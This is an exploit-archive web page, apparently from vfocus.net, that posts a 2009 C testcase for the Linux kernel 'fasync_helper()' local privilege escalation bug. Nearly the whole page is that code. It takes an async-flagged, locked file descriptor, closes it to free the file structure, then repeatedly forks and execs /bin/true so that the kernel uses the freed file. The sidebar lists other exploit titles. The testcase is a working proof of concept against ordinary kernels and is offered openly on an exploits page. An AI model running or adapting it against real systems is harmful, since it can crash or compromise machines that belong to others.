首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Linux Kernel 'fasync_helper()'本地特权提升漏洞
来源:vfocus.net 作者:vfocus 发布时间:2010-01-19  
#ifndef _GNU_SOURCE
# define _GNU_SOURCE
#endif
#include <stdio.h>
#include <unistd.h>
#include <stdint.h>
#include <stdbool.h>
#include <fcntl.h>
#include <stdlib.h>
#include <assert.h>
#include <asm/ioctls.h>

// Testcase for locked async fd bug -- taviso 16-Dec-2009
int main(int argc, char **argv)
{
     int fd;
     pid_t child;
     unsigned flag = ~0;

     fd = open("/dev/urandom", O_RDONLY);

     // set up exclusive lock, but dont block
     flock(fd, LOCK_EX | LOCK_NB);

     // set ASYNC flag on descriptor
     ioctl(fd, FIOASYNC, &flag);

     // close the file descriptor to trigger the bug
     close(fd);

     // now exec some stuff to populate the AT_RANDOM entries, which will cause
     // the released file to be used.

     // This assumes /bin/true is an elf executable, and that this kernel
     // supports AT_RANDOM.
     do switch (child = fork()) {
             case   0: execl("/bin/true", "/bin/true", NULL);
                      abort();
             case -1: fprintf(stderr, "fork() failed, %m\n");
                      break;
             default: fprintf(stderr, ".");
                      break;
     } while (waitpid(child, NULL, 0) != -1);

     fprintf(stderr, "waitpid() failed, %m\n");
     return 1;
}


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Exploit EFS Software Easy Chat
·Microsoft Internet Explorer "A
·Muziic Player 2.0 (.mp3) Local
·Internet Explorer 6/7/8 DOS Vu
·This program acts as a web ser
·Windows Media Player 11 Active
·AOL 9.5 ActiveX Heap Overflow
·VLC vs 0.6.8 [b][c][d][a] .ASS
·Millenium MP3 Studio v1.X (.m3
·Audiotran v1.4.1 direct RET BO
·Microsoft Windows Defender Act
·Internet Explorer Aurora Explo
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved